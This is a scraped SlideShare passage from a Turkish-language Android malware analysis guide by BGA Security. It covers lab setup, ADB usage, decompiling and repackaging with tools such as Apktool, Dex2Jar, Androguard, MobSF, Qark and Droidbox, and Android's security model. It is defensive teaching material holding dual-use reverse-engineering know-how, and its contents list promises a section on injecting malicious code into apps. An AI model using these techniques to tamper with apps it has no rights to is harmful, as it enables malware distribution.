Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Android Zararlı Yazılım Analizi ve Güvenlik Yaklaşımları

3,858 views

Published on

Android Zararlı Yazılım Analizi ve Güvenlik Yaklaşımları | Mücahit Emre Ceylan

Published in: Technology

Android Zararlı Yazılım Analizi ve Güvenlik Yaklaşımları

  1. 1. BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity ANDROID ZARARLI YAZILIM ANALİZİ VE GÜVENLİK YAKLAŞIMLARI Yazar: Mücahit Emre Ceylan Mentör: Burcu Yarar Baskı: 2017
  2. 2. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] İÇİNDEKİLER GİRİŞ 4 Neden Mobil Güvenlik? 5 Zararlı Yazılım ile Neler Yapabilir? 7 Lab Ortamının Kurulması ve Tersine Mühendislik Araçları 9 Android SDK (Software Development Kit) ve Android Studio Kurulumu 9 Android Emulatör Kurulumu 10 ADB (Android Debug Bridge) Kurulumu ve Kullanımı 12 BusyBox 16 Apktool 17 Dex2Jar 19 JD-GUI 20 Androguard 21 AndroBugs 24 MobSF 25 Qark 28 Droidbox 30 Android Mimarisi ve Güvenlik Yaklaşımı 38 APP COMPONENTS 41 Activities 41 Services 41 Broadcast Receivers 41 Content Providers 42 Uygulama: Kilit Ekranınız Rootlu Telefonunuzda Sizi Koruyor Mu? 43 SMS Okunması 43 Pattern Tespiti 44 Statik Analiz 48 Obfuscation 62 Dinamik Analiz ve Network Analizi 68 Log Analizi 69
  3. 3. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Memory Analizi 72 Uygulama 75 Network Analizi 77 Android Studio ile Tcpdump 79 Genymotion ile Tcpdump 79 Uygulama 79 Tersine Mühendislik Teknikleri İle Uygulama İçeriğini Değiştirme 81 Tersine Mühendislik Teknikleri İle Mevcut Uygulama İçerisine Zararlı Kod Ekleme 86 Uygulamaları Birleştirme 100 Gerçek Hayattan Zararlı Yazılım Analizi Uygulama Örnekleri 103 Simplocker Statik Analiz 105 Referanslar 126
  4. 4. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] GİRİŞ Bu döküman Mobil Güvenlik alanına ilgisi olan ya da bu alanda kendini geliştrimek isteyen kişiler için klavuz niteliğindedir. Dökümanda mobil güvenliğin neden önemli olduğundan, zararlı yazılımlar ile neler yapılabileceğinden, lab ortamının kurulması ve tersine mühendislik araçlarından, android mimarisi ve güvenlik yaklaşımından, tersine mühendislik teknikleri ile uygulama içeriklerine müdehale etmek gibi konulardan uygulamalı olarak bahsedeceğiz.
  5. 5. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Neden Mobil Güvenlik? Hayatımızın vazgeçilmez bir parçası olmuş mobil cihazların bizler için önemi bilinen bir gerçektir. Taşınabilir özelliklerinin yanı sıra sahip oldukları; navigasyon, banka işlemleri, mesaj gönderimi, fotoğraf çekimi, müzik arşivi, video oynatıcısı, bilet alımı, alışveriş yapabilme, gazete ve gündem takibi gibi farklı cihazların sunduğu özellikleri tek bir bütün halinde karşımıza çıkarmaktadırlar. Bunun sonucu olarak mobil cihazlar diğer cihazların aksine daha çok kitleye ivmesel bir artışla hitap etmektedirler. Facebook Büyüyen Pazarlar Ölçümleme Yöneticisi “Rishi Sexena” da “Televizyon 50 milyon kullanıcıya 13 yılda, mobil cihazlar ise 2 milyar kullanıcıya 10 yılda erişti.” diyerek günümüzde mobil devrimin yaşandığını ve mobil cihazların hayatımızdaki yeri/önemini bir kez daha vurgulamıştır. Peki bu durum ülkemizde nasıl? sorusuna cevap vermek gerekirse 2016 yılında yapılan istatistiki değerlere göre Türkiye nüfusunun %90’ının mobil aboneliğinin bulunduğu ve yaklaşık olarak 71 milyon kişinin ise mobil bağlantıya sahip olduğunu tespit edilmiştir. Dünya üzerinde yıllık olarak toplam indirilen mobil uygulama sayısı ise 2016 yılında 149.3 milyar iken 2021 yılında 352.9 olması beklenmektedir. Yapılan araştırmalarda bir akıllı telefonda ortalama 26 indirilmiş uygulama bulunduğu ancak bunlardan her hafta düzenli kullanılanların sayısının 10’dan az olduğu görülmüştür. İndirilen uygulamalardan hiç şüpheye düşmeden indirdiğimiz uygulamalar GPS, NFC, bluetooth, kamera, mikrofon, SMS ve QR kod okuyucu gibi özelliklere sahiptirler. Söz konusu uygulamalar sahip oldukları bu özellikler aracılığı ile sürekli olarak dışarıdan bilgi toplamaktadırlar.
  6. 6. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Peki hassas bilgilerimizi tuttuğumuz ve sürekli olarak internete bağlı bulunduğumuz bu mobil cihazlarda güvenliğimizden ne kadar bahsedebiliriz? Diğer bir açıdan bakacak olursak; Kontrolsüz büyümesi ile dünyayı saran, henüz uygulama geliştiricilerinin bile tam denetim sahibi olamadığı uygulamalara sahip olan ve neredeyse bedenimize yapışık halde bizimle dolaşan; en mahrem bilgilerimizi bulundurduğumuz bu akıllı cihazların güvenliğini ne kadar önemsiyoruz? Telefonlarınızı yabancı ellere emanet etmek bir kenara en yakınlarınızın bile elinde görmekten rahatsız oluyorsunuz. Kilit ekranı, parmak izi gibi önlemlerle bunu engellemeye çalışıyorsunuz. Ama sizi her dakika gözlemleyebilen, bulunduğunuz yeri, görüntünüzü, görüşmelerinizi kısacası size ait olan her özele erişim sağlayabilen art niyetli telefon yazılımlarının olduğunu biliyor muydunuz?
  7. 7. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Zararlı Yazılım ile Neler Yapabilir? Zararlı yazılım olarak tercüme edebileceğimiz “malware” kelimesi; gizlice cihazları kontrol etmek, özel bilgileri ele geçirmek ya da cihaz sahibinden para çalmak amacıyla yazılmış kötü niyetli yazılımlara verilen addır. Bir zararlı yazılımın yapabilecekleri, bir yazılım geliştiricinin hayal gücünden farksız ve hatta bazen fazladır. Genelde insanların birçoğu telefon şarjının hızlı tükenmesinden şikayetçi olduklarını duymaktayız. Oysaki birçok insan telefonlarında, çoğu zaman farkında dahi olmadan özünde çok tehlikeli olan zararlı yazılımları barındırmaktadırlar. Peki bu zararlı yazılımlardan neden korkmalıyız? Çünkü zararlı yazılımlar; ● Parola bilgilerinizi ● Banka hesaplarınızı ● Konum bilgilerinizi ● Nelerden hoşlandığınızı ● Mesaj geçmişlerinizi çalabilirler. Hatta; ● Telefon görüşmelerinizi kayıt altına alarak sizden habersiz başka kişilere satabilir. Ayrıca; ● Sizden habersiz başka kişilere spam mesajı yollayabillir, ● Sizden habersiz telefon aramaları yapabilir, ● Sizden habersiz veri kullanıp paketlerinizi bitirebilir, ● İzinsiz olarak istenmeyen reklamlar, spamlar, cinsel içerikli görüntüler gösterebilir, ● Batarya güç tüketiminizi arttırarak, şarj sürenizi azaltabilirler. Her 10 mobil cihazdan 3’ünün tehlike altında olduğu günümüzde, zararlı yazılımlar şu yollarla bulaşmaktadırlar; ● Zararlı bir uygulamanın kullanıcı tarafından indirilip çalıştırılması, ● Sürüm güncellemesi almayan ya da alındığı halde güncellenmeyen zafiyetli işletim sistemleri bulunan cihazların kullanılması, ● Şüpheli e-postaların açılması, ● Güvenli olmayan Wi-Fi ağlarına bağlanılması ve güvensiz URL adreslerinin ziyaret edilmesi, ● Aldatma amacıyla gönderilen mesajlara ve yapılan aramalara cevap verilmesi gibi yollarla bulaşmaktadırlar. Geçmişten günümüze birçok zararlı yazılım ile karşılaşılmış, önlemler alınmaya çalışılmıştır. Bunların birkaçından bahsedecek olursak; Tarihte etkisini büyük çapta gösteren ve ilk bilinen mobil zararlı yazılım DroidDream’dır. Telefonu root ederek kişiye ait hassas bilgileri sunucuya gönderen bu zararlı yazılım, başka uygulamaları da kullanıcı gibi indirebilme özelliğine sahiptir. Piyasaya yayılması ise mağazada bulunan 50’den fazla
  8. 8. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] uygulamanın crack’li versiyonlarının zararlı kod enjekte edilmiş şekilde tekrar mağazalara ve internete sunulması gerçekleşmiştir. Coinminer, mobil cihazınızın CPU’sunu, hafızasını ve internet bağlantınızı kullanarak sanal para üretme amacıyla çalışan bir zararlı yazılımdır. Stagefright zararlısı ise telefon tarihindeki en kötü bug olarak bilinmektedir. Söz konusu zararlı, android işletim sistemi kaynaklı bir zafiyet sebebiyle saldırgana hedef cihaza mesaj yollayarak ele geçirme hakkı verir. Bu zafiyetten başınızın ağrıması için sadece size kötü niyetli mesajın gelmesi ve android sürümünüzün bu zafiyeti barındırıyor olması yeterlidir. Vermiş olduğumuz zararlı yazılım örneklerinden de referans alabileceğimiz gibi zararlı yazılıma yakalanma riskimizi azaltmak ve kişisel verilerimizi koruma ihtiyacımızı gidermek için mobil cihazımızı; ● Rootlamadan/Jailbreak yapmadan kullanmalı, ● Mümkün olduğunca sistem güncellemelerini yapmalı, ● Sistem güncellemeleri alan ürünleri tercih etmeli, ● VPN gibi encrypt teknolojileri ile network trafiğinde verilerimizi koruma altına almalıyız.
  9. 9. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Lab Ortamının Kurulması ve Tersine Mühendislik Araçları Analiz ortamını sanallaştırmak ve fiziksel bir cihaza ihtiyaç duymadan işlemlerinizi kolaylaştırarak güvenli bir ortam sağlamak için “Android Emulatör” kullanılmalıdır. Çalışan bir Android Emulatör’e sahip olabilmek için ise “Android SDK (Software Development Kit)” e ihtiyacınız vardır. Android SDK (Software Development Kit) ve Android Studio Kurulumu SDK, sanal android cihaz kurulumu için gerekli olan uygulamaları barındıran; android geliştiricileri için hazırlanmış uygulama paketidir. Android Studio’yu indirerek hem geliştirme ortamı hem de Android SDK’yı temin edebilirsiniz. Android Studio’ yu aşağıdaki linkten indirebilirsiniz. ● https://developer.android.com/studio/index.html İlgili linkte yer alan .zip uzantılı Android Studio paketini indirdikten sonra öncelikle 64 bit bir sistem kullanıyorsanız gerekli olan 32 bit kütüphaneleri aşağıdaki sistemler için verilen komutları kullanarak indirebilirsiniz. Debian tabanlı sistemler için; sudo apt-get install libc6:i386 libncurses5:i386 libstdc++6:i386 lib32z1 libbz2-1.0:i386 Fedora için; sudo yum install zlib.i686 ncurses-libs.i686 bzip2-libs.i686 - Bu aşamayı tamamladıktan sonra unzip komutu ile indirmiş olduğunuz zip dosyasını açılır. - Ardından cd android-studio/bin/ komutu ile “bin” dizinine geçiş yapmalır. - Son olarak “sh studio.sh” ile Android Studio yükleme penceresi başlatılır.
  10. 10. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Android Emulatör Kurulumu Bu çalışmada daha kullanışlı olmasından dolayı Android Emulatör olarak “Genymotion” tercih edilmiştir. Genymotion’ı; ● https://www.genymotion.com/account/create/ adresinden ücretsiz üyelik alarak ● https://www.genymotion.com/download adresinden deneme sürümünü indirebilirsiniz. Bunun dışında da dilediğiniz Android Emulatör’ü kullanabilirsiniz. Kurulum için; - Öncelikle indirmiş olduğunuz dosya içerisindeki .bin uzantılı dosyaya “chmod +x” komutu ile yürütme yetkisi verdikten sonra “./genymotiondosyaismi.bin” şeklinde kurulumunu başlatabilirsiniz. - Aşağıdaki gibi bir ekran ile karşılaşacaksınız. - Bu ekranda “Add” butonuna tıklayarak dilediğiniz bir sanal android cihazı kurabilirsiniz.
  11. 11. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] - İstediğiniz android cihazı seçtikten sonra son olarak “Next” butonu ile kurulumu tamamlamalısınız. - Tüm bu işlemlerden sonra cihazınız gerekli kurulumları yaparak kullanıma hazır hale gelecektir.
  12. 12. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] ADB (Android Debug Bridge) Kurulumu ve Kullanımı ADB, fiziksel ya da sanal emulatör farketmeksizin yapmak istediğimiz işlemleri çok daha hızlı bir şekilde tamamlamamıza olanak sağlayan ve bilgisayarımızla mobil cihazımız arasında köprü görevi gören terminal arayüzü uygulamasıdır. ADB sayesinde mobil cihaz üzerindeki dizinlerde hareket edebilir, kurulu paketleri listeleyebilir, SMS gönderimi, telefon araması gibi özellikleri kullanabiliriz. Android Studio ile beraber indirmiş olduğumuz bu araç “~/Android/Sdk/platform-tools” dizininde bulunmaktadır. Araçla alakalı birkaç temel komuta bakacak olursak; adb devices: Bu komut bağlı olan cihazları gösterir. Şekilde 192.168.56.101 IP adresinde gözüken cihaz Genymotion ile oluşturduğumuz cihazdır. adb shell: Bu komut ise android cihazda shell almamızı ve linux komutlarını çalıştırmamızı sağlar.
  13. 13. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Eğer birden fazla cihaz bilgisayarımıza bağlı ise shell almak istediğimiz cihaz; - Emulatör ise adb --e shell - Fiziksel cihaz ise adb --d shell komutlarını kullanırınız. Çok daha fazla cihaz arasından seçim yapılacak ise; adb --s X.X.X.X:SSS shell komutu ile seçim yapılabilir. Buradaki X’ ler “adb devices” komutundaki IP adresini S’ler ise port numarasını temsil etmektedir. Shell içerisinde cihazımızda kurulu olan paketleri görebilir. Dizinler arası geçiş yapabiliriz.
  14. 14. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Yukarıdaki ekran görüntüsünde de görüldüğü gibi shellimiz “root” yetkilerinde çalışmakta, “/data/data” dizinine sahip olduğumuz yetkiler sayesinde ulaşabimekte ve “pm list packages” komutu ile kurulu olan paketleri görebilmekteyiz. adb push: Bu komut ile android cihaza dosya gönderebiliriz. adb pull: Bu komut ile android cihazdan dosya indirebiliriz. screencap: Bu komut ile android cihazdan ekran görüntüsü alabiliriz.
  15. 15. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] ADB uygulaması kullanılarak, çalışan bir uygulama üzerinde ekrana sayısı verilen miktarda rastgele basarak uygulamayı “stress testi” adı verilen teste tabi tutabiliriz. Bunun için örnek olarak 1000 kez ekrana rastgele girdi veren komut şu şekildedir; adb shell monkey -p your.package.name -v 1000 Son olarak ADB uygulamasını kullanarak cihazımıza uygulama yükleyebilir ya da silebiliriz. İndirilen uygulamaya ait arayüz aşağıda verilmiştir.
  16. 16. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Yüklü paketleri listeleyerek de ilgili uygulamanın kurulu olduğunu gözlemleyebiliriz. İlgili uygulamayı silmek istediğimizde ise “uninstall” komutunu silmek istediğimiz ilgili paket ismiyle birlikte kullanmamız yeterli olacaktır. BusyBox ADB aracında olduğu gibi, mobil cihaz üzerinde shell alma amacıyla ortaya çıkmıştır. ADB aracının barındırmadığı Linux komutlarını da içermektedir. Genymotion ile kurulu olarak gelmektedir. “adb” ile shell alındıktan sonra cd komutu ile /system/xbin dizinine gidilerek ./busybox komutunun uygulanması ile ilgili komutlar listelenebilir.
  17. 17. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Apktool Bir .apk dosyasını açmaya çalıştığımızda karşımıza çıkan yapı şu şekildedir; “.dex” formatında olan bu yapıyı anlamlandırabilir hale getirmek için decompile etmeliyiz. Apktool android .apk dosyalarını decompile etmek için kullanılan araçtır. Decompiler sonucunda smali adını verdiğimiz ara kodları elde ederiz. .dex <------------------> .smali <--------------------- java source code Apktool’un son versiyonunu; ● https://ibotpeaches.github.io/Apktool/ adresinden indirebilirsiniz. İndirmiş olduğunuz jar dosyası decompiler etmek için “d” parametresi ile çalıştırmalısınız. Decompiler sonucunda; ● Resources (xml dosyaları ve resimler) ● Manifest File ● Yml Dosyası (sdk ve versiyon bilgisi) ● Smali Dosyası oluşmaktadır.
  18. 18. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Oluşan dosyalara ait örnek bir ekran görüntüsü aşağıda verilmiştir. Buradaki manifest dosyasını açtığımızda neredeyse orjnaliyle aynı bir manifest dosyası elde ettiğimizi görüyoruz.
  19. 19. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Ayrıca ApkTool sadece decompiler yapma işlemi için değil, aynı şekilde decompiler edilmiş bir apk dosyasını derleme yaparak paketleme işlemi için de kullanılmaktadır. Bunun için “b” (build) parametresi kullanılır. Dex2Jar Bir diğer tersine mühendislik aracımız olan Dex2Jar “.dex” formatında yer alan apk içerisindeki dosyaları “.jar” uzantılı java binary dosyalarına çevirir. .jar uzantılı java binary dosyalarına dönüştürülmüş olan bu dosyalar başka bi java decompiler aracı kullanılarak rahatlıkla kaynak koda dönüştürülebilir. Bu aracı aşağıdaki linkten indirebilir; ● https://sourceforge.net/projects/dex2jar/?source=typ_redirect ve programını açarak “./d2j-dex2jar.sh” aracılığıyla çalıştırabilirsiniz. Yukarıdaki ekran görüntülerinde de görüldüğü gibi örnek olarak “BGA_Mucahid.apk” uygulaması decompiler edilerek “output.jar” dosyasına dönüştürülmüştür.
  20. 20. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] JD-GUI JD-GUI programı, dex2jar programı ile decompiler ettigimiz “.jar” uzantılı java binary dosyalarını source koda çevirmemize yarayan bir decompiler aracıdır. Kullandığınız işletim sistemine göre uygun versiyonu; ● https://github.com/java-decompiler/jd-gui/releases adresinden indirebilirsiniz. Bununla alakalı kısa bir örnek yapacak olursak adımlar şu şekildedir; - Öncelikle indirmiş olduğumuz .jar uzantılı JD-GUI programını “java -jar jd-gui-1.4.0.jar” komutuyla çalıştırıyoruz. - Sonra grafik arayüze sahip olduğumuz programımızda “File” sekmesinden “Open File” tuşuna basarak gelen dizin ekranından az önce “Dex2Jar” programı ile oluşturduğumuz “output.jar” dosyasını seçiyoruz. - Bu işlemleri, oluşturulmuş olan output.jar dosyasını JD-GUI içerisine sürükle bırak yaparak da bu işlemleri kısa yoldan tamamayabilirsiniz.
  21. 21. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Decompiler işlemi sonucunda ise android geliştiricinin yazmış olduğu kodları elde ediyoruz. Androguard Statik analiz yapmak için geliştirilmiş olan, birden fazla özelliği içinde barındıran kullanışlı bir programdır. Dex2Jar +JDGui’nin beraber kullanılması gibi düşünülebilir. İçerisinde birden fazla araç barındırmaktadır. Bu aracı Debian sunucularında paket olarak indirmek için; ● https://packages.debian.org/stretch/amd64/androguard/download linkini kullanabilirsiniz. İndirmiş olduğunuz “.deb” paketini, ilgili dizine giderek şu şekilde kurabilirsiniz. “-s” paremetresiyle IPython üzerinden çalıştırılan toolumuza analizini yapacağımız apk dosyasını, “a” değişkenine atayarak tanımladık.
  22. 22. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Statik analizde tekrar kullanacağımız bu program üzerinde çok daha fazla detaya girmeden örnek kullanım üzerinde apk dosyasının sahip olduğu izinler, uygulama ismi, main activitiy ismi ve bütün activitiy isimleri listelenmiştir. Activitiy tanımı ve bizler için önemi Android Mimarisinde bahsedilecektir.
  23. 23. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Son olarak Androguard uygulamasının androlyze den ibaret olmadığını ve şu uygulamaları barındırdığını belirtmekte fayda var; ● Androaxml ● Androsim ● Androdd ● Apkviewer ● Androapkinfo Aşağıdaki ekran görüntüsünde örnek olarak “Androaxml” kullanılarak XML formatındaki manifest dosyasının “.apk “uzantılı dosyadan elde edilmiş hali gösterilmiştir.
  24. 24. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] AndroBugs AndroBugs zafiyet araştırmalarında karşımıza çıkan ve tersine mühendislik tekniklerini kullanarak statik analiz yapan python ile yazılmış bir programdır. İşin ofansif kısmının yanı sıra uygulama hakkında da kritik bilgileri detaylı bir rapor ile bize sunduğu için analiz kısmı için de oldukça önemlidir. Programı; ● https://github.com/AndroBugs/AndroBugs_Framework adresinden indirerek ve -f parametresine analiz edilmek istenilen programı vererek çalıştırabiliriz. Program, analizi yapılan “.apk” dosyasının hangi kritik bilgileri içerdiği raporunu Androbugs içerisindeki “Reports” klasörü altında sunar. Yukarıdaki ekran görüntüsünde görüldüğü üzere [Critical] [Warning] [Notice] [Info] başlıkları alltında .apk dosyası hakkındaki bilgiler karşımıza çıkmaktadır. Apk içerisinde
  25. 25. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] 'Runtime.getRuntime().exec("...")'. fonksiyonunun bulunduğu ve bunun kritik bir bilgi olduğunu belirtmiştir. MobSF Mobile Security Framework kelimelerinin kısaltması olarak karşımıza çıkan bu araç, mobil uygulamaların statik analizini yapmak için oluşturulmuştur. Python programlama diliyle yazılan MobSF, web arayüzü kullanmaktadır. Dinamik analiz özelliği de kazandırılmış olan MobSF oldukça kullanıcı dostu ve kullanışlı bir programdır. Bu aracı; ● https://github.com/MobSF/Mobile-Security-Framework-MobSF adresinden indirerek aşağıdaki ekran görüntüsünde verilen dizine gidierek ilgili komut ile başlatabilirsiniz. Daha sonra tarayıcınızdan http://localhost:8000/ adresine giderek arayüze erişim sağyabilirsiniz.
  26. 26. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Upload butonuna tıklayarak ilgili apk dosyası seçilir. Eğer analizini yapmak istediğiniz apk da hata alıyorsanız, muhtemelen “requirements.txt” dosyasında yer almayan farklı bir django versiyonu kullanıyorsunuzdur. Sırasıyla “python manage.py migrate” ve “python manage.py makemigrations” komutlarını uygulamanız sorunu giderecektir. Dosya analizi yapıldıktan sonra şekildeki gibi çeşitli bilgiler ekrana gelecektir.
  27. 27. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
  28. 28. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Qark Zafiyet tarama ve kod analizi araçlarından bahsettikten sonra LinkedIn Pentester’ ları tarafından Black Hat’te sunumu yapılan, gelecekte çok daha güçlü bir araç olacağı söylenen Qark zafiyet tespiti ve exploitationda kullanılan açık kaynak kodlu statik analiz yapan bir araçtır. Bu aracı; ● https://github.com/linkedin/qark adresinden indirebilirsiniz. Araç “/qark-master/qark/” dizini altında “qarkMain.py” adında python uzantılı bir dosyanın çalıştırılması ile başlamaktadır. “python qarkMain.py” komutu ile başlatılan program Android SDK indirmek istiyor musunuz sorusuyla bizi karşılamaktadır. Android SDK kurulumunu daha önceden gerçekleştirdiğimiz için bu soruya “N” diyerek SDK’nın yolunu verebilirsiniz. Android Studio ile kurduğumuz SDK “/home/KullanıcıAdınız/Android/Sdk” yoluna sahiptir. Analiz yapmak için bir APK mı yoksa kaynak kodu mu vereceğimizi sormaktadır. 1 numaralı APK seçeneğini seçiyoruz.
  29. 29. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] APK yolunu mu yoksa adb programını öğrenirken yaptığımız gibi cihazdan mı uygulama çekmek istediğimizi soruyor. 1 numaralı yol verme seçeneğini seçiyoruz. Daha sonra manifest dosyasını görmek isteyip istemediğimizi bize soran program, yaptığı analiz sonuçlarını klasörün altında “report.html” adında .html uzantılı bir dosya olarak bize sunmaktadır.
  30. 30. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Droidbox Droidbox, öğrenilmiş olan diğer araçlardan farklı olarak dinamik analiz yapan bir araçtır. Dinamik analiz, statik analizden farklı olarak programın çalışır durumdaki davranışlarını inceleyerek yapılan bir analiz çeşididir. Droidbox ile: ● Dosya okuma, yazma işlemleri ● Kritpografik API aktiviteleri ● Ağ trafiği ● Ağ bağlantıları ● SMS gönderimleri ● Telefon çağrıları analiz edilebilir. Droidbox’ı; ● https://github.com/pjlantz/droidbox adresinden indirebilirsiniz. İndirilmiş olan zip dosyasını dilediğiniz dizine çıkartabilirsiniz. Öncelikle Droidbox programını kullanabilmek için AVD (Android Virtual Device)’ye ihtiyaç vardır. AVD aynı Genymotion gibi bir android emulatördür. Android Studio içerisinde yüklü olarak gelmektedir.
  31. 31. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Android Studio’ yu çalıştırarak “Run” butonuna bastığımız zaman karşımıza çıkan ekranda kurulu olan emulatörler listelenmektedir. Şimdi “Create New Virtual Device” butonuna tıklayarak yeni bir emulatör oluşturuyoruz.
  32. 32. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Nexus 4 seçeneğini seçerek “Next” butonuna tıklıyoruz. Karşımıza çıkan ekranda android sürümü olarak “Jelly Bean” tercih edilmiştir. Bunu tercih etmemizin sebebi ise Droidbox programı için önerilen android versiyonu olmasıdır.
  33. 33. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Gelen ekranda cihazımıza ulaşmak için kullanacağımız AVD ismi belirlenir. Görselde “BGA” olarak belirtilmiştir. Gerekli kurulum işlemi gerçekleştirildikten sonra Android Studio kapatılarak terminal ekranında sadece emulatör çalıştırılır. Droidbox/images klasörü altındaki 7zip uzantılı dosyalar unpack edilir. “~/Android/Sdk/tools” dizini altında “./emulator -list-avds” komutu ile kurulu cihazlar listelenelerek, “./emulator -avd cihazismi” komutu ile emulator başlatılır. Burada normal kullanımdan farklı olarak -system Droidboxdizini/images/system.img -ramdisk Droidboxdizini/images/ramdisk.img -wipe-data -prop dalvik.vm.execution-mode=int:portable parametreleri de verilir.
  34. 34. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Artık gerekli olan ortamı hazırladığımıza göre “/droidbox-master/droidbox4.1.1” altında yer alan .sh uzantılı scripti “./droidbox.sh apkyolu analizsüresi” şeklinde çalıştırabiliriz. Uygulamada; ./droidbox.sh BGA.apk olarak süre limiti olmadan çalıştırılmıştır.
  35. 35. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Ekran görüntüsünde görüldüğü gibi bir hatayla karşılaşılması sonucu sorunun Droidbox Python kodundan kaynaklı olduğu düşüncesiyle hata alınan yere “shell=true” kodu eklenerek hata giderilmiştir. Unutulmamalıdır ki böyle bir hatayla karşılaşmıyorsanız bu adımı yapmanıza gerek yoktur. Kodu düzeltmek için; - Öncelikle scripts dizinine giderek droidbox.py uzantılı python kodunu metin editörü kullarak açıyoruz. - 317. satırda (ilgili satırda) yer alan ifadeye shell=True parametresini ekliyoruz. - Dosyayı kaydedip çıkıyoruz.
  36. 36. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Kaydederek kapatılan dosyada tekrar droidbox.sh dosyasının bulunduğu bir alt dizine “cd ..” komutu ile gidilerek tekrar “./droidbox.sh BGA.apk” komutu çalıştırılır. Başarılı şekilde başlatıldığı görülen Droidbox uygulamasında apk dinamik analizi yapılması için analizi yapılacak olan uygulama emulator yardımıyla yüklenerek çalıştırılır. Bunun için adb komutunu kullabileceğiniz gibi buna gerek duymadan .apk uzantılı dosyayı emulatöre sürükle bırak yaparak da kurabilirsiniz.
  37. 37. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Uygulama çalıştırıldıktan sonra uygulamanın çalıştırıldığı bilgisi ve log kayıtları Droidbox’ımızın açık olduğu terminale aşağıdaki ekran görüntüsünde görüldüğü gibi düşmektedir.
  38. 38. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Android Mimarisi ve Güvenlik Yaklaşımı Android, Linux işletim sistemi baz alınarak oluşturulmuş; televizyon, tablet, akıllı telefonlar gibi günümüz modern cihazlarının birçoğunu domine etmiş mobil işletim sistemine verilen addır. Açık kaynak olması, yine herkes tarafından ürün konulup satın alınabilen bir markete sahip olması, geliştirme ortamında Java gibi popüler bir dilin kullanılması insanların kısa sürede ilgisini çekmiştir. Android İşletim Sistemi’nin başlıca özellikleri şunlardır: ● Android İşletim Sistemi tıpkı IOS İşletim Sistemi gibi minimum yetkilerde çalışma prensibini uygular. ● Varsayılan olarak her uygulama yalnızca çalışması için gerekli olan bileşenlere sahiptir. ● Uygulamalar birbirine ait dosyalara dosya sistemi üzerinden ulaşamaz. ● Üçüncü Parti Uygulamalar kullanıcılardan ekstra ayrıcalık talep eder. ● Uygulamaların yüklenebilmesi için imzalanmış olması, güncellemeleri alabilmesi için ise orjinal imzaya sahip olması gerekir. ● Sistem kaynaklarına (internet, gps, nfc, SMS, galeri vb) erişmek isteyen uygulamalar bu hakkı istedikleri kaynakları kurulum esnasında talep eder. Bu izinler, APK (Android Application Package) içerisinde yer alan AndroidManifest.xml dosyası içerisinde uygulamanın geliştirilme aşamasında belirtilmiş olarak bulunur.
  39. 39. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] ● Kurulan her uygulama kendisine ait bir “id” değeri ile yine kendisine ait “Dalvik VM” adı verilen sanal makinelerde çalışmaktadır. ● Uygulamalar Dalvik VM içerisinde Dalvik Executable (.dex) formatında bulunmaktadır. ● Dalvik VM yerini Android 4.4 Kitkat versiyonu ile Android Run Time (ART) ‘a bırakmaktadır. ● ART, Dalvik VM’ye göre uygulamaların daha stabil ve hızlı çalışmasını sağlamaktadır.
